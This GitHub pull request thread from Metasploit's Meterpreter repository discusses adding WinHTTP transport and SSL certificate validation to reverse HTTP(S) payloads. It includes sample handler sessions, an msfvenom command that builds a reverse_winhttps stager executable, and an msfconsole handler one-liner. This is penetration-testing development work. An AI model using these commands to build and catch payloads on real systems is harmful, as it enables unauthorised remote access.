rapid7 / meterpreter

THIS REPO IS OBSOLETE. USE https://github.com/rapid7/metasploit-payloads INSTEAD
Other
326 stars 144 forks source link

Implement WinHTTP support for reverse_http(s) and SSL certificate validation #140

Closed OJ closed 9 years ago

OJ commented 9 years ago

Overview

This PR implements new reverse_http(s) that works over the WinHTTP API instead of WinINET. The goal was to allow for the support of SSL certificate validation in the same way as @hmoore-r7's approach in the stagers.

This MSF side of this PR can be found here: https://github.com/rapid7/metasploit-framework/pull/4962

The code includes the following changes:

It's worth noting that I had to explicitly prevent precompiled headers for the file that contains the WinHTTP implementation. This is because I was in file include hell and the precompiled headers weren't helping at all. This is a minimal increase in build time and shouldn't matter long term. When we're doing with WinINET we'll be fixing this up anyway. The issue revolves around including both WinINET and WinHTTP headers in the same blocks of code (ie. macro-redefinition hell).

Verification

Compile the binaries with debugging if you want to see validation happening as it runs.

Sample runs

Stageless Win32 with valid cert:

msf exploit(handler) > set HandlerSSLCert /home/oj/ssl/10.1.10.40.combined.pem
HandlerSSLCert => /home/oj/ssl/10.1.10.40.combined.pem
msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000/
[*] Starting the payload handler...
[*] 10.1.10.35:52012 Request received for /TPfX_6G1LAu1DZUqLziIk/...
[*] Incoming orphaned or stageless session TPfX_6G1LAu1DZUqLziIk, attaching...
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.35:52012) at 2015-03-20 13:19:20 +1000

meterpreter > getuid
Server username: WIN-S45GUQ5KGVK\OJ
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 10.1.10.35 - Meterpreter session 1 closed.  Reason: User exit

Stageless Win32 with invalid cert:

msf exploit(handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000/
[*] Starting the payload handler...
[*] 10.1.10.35:52010 Request received for /TPfX_6G1LAu1DZUqLziIk/...
[*] Incoming orphaned or stageless session TPfX_6G1LAu1DZUqLziIk, attaching...
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.35:52010) at 2015-03-20 13:17:50 +1000

meterpreter > getuid
[-] Unknown command: getuid.
meterpreter > exit

[*] 10.1.10.35 - Meterpreter session 1 closed.  Reason: User exit
metasploit-public-bot commented 9 years ago

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/160/ Test PASSED.

hdm commented 9 years ago

This looks pretty solid here from a diff point of view, but could use some help from @bcook-r7 to verify it.

metasploit-public-bot commented 9 years ago

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/161/ Test PASSED.

metasploit-public-bot commented 9 years ago

Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/162/ Test PASSED.

bcook-r7 commented 9 years ago

Taking a look now.

bcook-r7 commented 9 years ago

So, to make sure I comprehend this correctly, just metsrv switches to a Unicode build, the extensions stay as multi byte.

bcook-r7 commented 9 years ago

These worked without a hitch: windows/meterpreter/reverse_tcp windows/meterpreter/reverse_http windows/meterpreter/reverse_https windows/meterpreter/reverse_winhttp windows/meterpreter/reverse_winhttps windows/x64/meterpreter/reverse_https windows/x64/meterpreter/reverse_tcp

bcook-r7 commented 9 years ago

POSIX looks good still :) The bind stagers are fine as well.

bcook-r7 commented 9 years ago

stageless variants are good as well

OJ commented 9 years ago

Correct, I didn't change the project setting to Unicode for any other project except metsrv. I'll probably do that as a separate PR rather than pollute this one. It just felt like doing it for metsrv now for with this PR. From memory, kiwi and mimikatz already are Unicode.

OJ commented 9 years ago

I'll be online shortly, let me know if you are still seeing issues with x64.

bcook-r7 commented 9 years ago

No, x64 is fine. It was just that x64 reverse_tcp appears to exit a little more quickly than the others if the handler is not running when it starts, which lead to some connection failures.

OJ commented 9 years ago

Phew!

bcook-r7 commented 9 years ago

Hmm, having trouble with this one: Stager generated like so:

./msfvenom -p windows/meterpreter/reverse_winhttps HandlerSSLCert=./correct.pem StagerVerifySSLCert=true -f exe -o mytest/verify-https.exe

Running console twice like this:

./msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_winhttps; set LHOST 192.168.56.1; set HandlerSSLCert correct.pem; set StagerVerifySSLCert true; set ExitOnSession false; run -j'

I'm seeing connect on the first run, then nothing on the second console run. Should I have seen a reconnect of an orphaned session?

OJ commented 9 years ago

This does not a happy OJ make! Investigating now.

bcook-r7 commented 9 years ago

The staged verifiers work well once I got framework synced properly with the bins. Things are too robust!

OJ commented 9 years ago

I should have mentioned this in the original PR, sorry! Binaries are back-compat in this case, but not forward compat. So:

bcook-r7 commented 9 years ago

OK, stageless verifying meterpreters look good too.

OJ commented 9 years ago

Hooray!

OJ commented 9 years ago

Thanks for your efforts @bcook-r7 !

bcook-r7 commented 9 years ago

Sorry for the scares - lots of moving parts.

OJ commented 9 years ago

No apologies needed at all :+1: